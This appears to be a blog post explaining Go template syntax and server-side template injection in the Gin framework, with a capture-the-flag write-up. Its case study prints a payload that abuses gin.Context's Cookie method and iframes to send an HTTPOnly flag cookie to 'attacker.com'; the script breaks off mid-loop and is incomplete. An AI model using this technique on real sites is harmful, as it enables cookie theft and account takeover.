Go Server-Side Template Injection Exploitation Techniques

Go SSTI Fundamentals

Go's template injection vulnerability allows attackers to execute arbitrary code by manipulating template rendering, potentially bypassing security restrictions like HTTPOnly cookies.

Template Rendering

Go templates use {{}} syntax for rendering. Consider this basic example:

type Product struct {
  Name string
  Quantity int
}

items := Product{"widgets", 42}
tmpl, err := template.New("inventory").Parse("{{.Quantity}} units of {{.Name}} are in stock")
if err != nil { panic(err) }
err = tmpl.Execute(os.Stdout, items)
if err != nil { panic(err) }

The output will render the values 42 and widgets into the template.

Template Actions

Go templates support various actions:

{{/* a comment */}}
{{- /* a comment with whitespace trimmed */ -}}

{{pipeline}}  // Pipeline can be a function or property value

{{if pipeline}} T1 {{end}}
{{if pipeline}} T1 {{else}} T0 {{end}}
{{if pipeline}} T1 {{else if pipeline}} T0 {{end}}

{{range pipeline}} T1 {{end}}
{{range pipeline}} T1 {{else}} T0 {{end}}  // Executes T0 if array is empty

{{break}}
{{continue}}

{{template "name"}}  // Renders template named "name"
{{template "name" pipeline}}  // Uses pipeline as data for template "name"

{{block "name" pipeline}} T1 {{end}}  // Defines and executes template

{{with pipeline}} T1 {{end}}  // Sets dot to pipeline value if not empty
{{with pipeline}} T1 {{else}} T0 {{end}}  // Executes T0 if empty, otherwise T1

Pipelines

Pipelines can be structured as:

Argument
.Method [Argument...]
functionName [Argument...]

Pipelines can be connected with the pipe operator |, where the output of one becomes the input to the next.

Variables

Variables can be initialized within actions:

$variable := pipeline
range $index, $element := pipeline

Exploiting gin.Context

The Gin web framework provides several methods in its Context object that can be exploited:

Method Description
ClientIP Returns client IP address
ContentType Returns content type
Cookie Returns cookie values, bypassing HTTPOnly restrictions
Query Retrieves URL parameters, e.g., Query("a") returns "123" from ?a=123

Case Study: Hgame2024 Week2 Challenge

In this challenge, we needed to perform XSS with an HTTPOnly cookie. The solution involved:

  1. Creating an iframe to fetch the flag cookie
  2. Using a second iframe to exfiltrate the data

The unencoded payload was:

?tmpl={{print 1|.Query}}&1=<iframe src="http://attacker.com/flag" id=2></iframe>
<script>
function exfil(){
  var iframe=document.createElement("iframe")
  iframe.src="http://attacker.com/?tmpl={{print 2|.Query|.Cookie}}&2=flag"
  iframe.onload=function(){ 
    var data=iframe.contentWindow.document.body.innerHTML.slice(59,-7)
    var hex=""
    for(var i=0;i

The challenge involved HTML escaping, preventing the use of quotes. The Query method allowed accessing URL parameters. Converting the parameter to string using print bypassed type validation.

Exploitation Approach

Go SSTI exploitation requires understanding:

  1. The base object represented by {{.}}
  2. Methods and properties available on this object
  3. How to leverage these for bypass security restrictions

Tags: Go ssti Template Injection Web Security Gin Framework

Posted on Fri, 07 Aug 2026 16:44:45 +0000 by sam06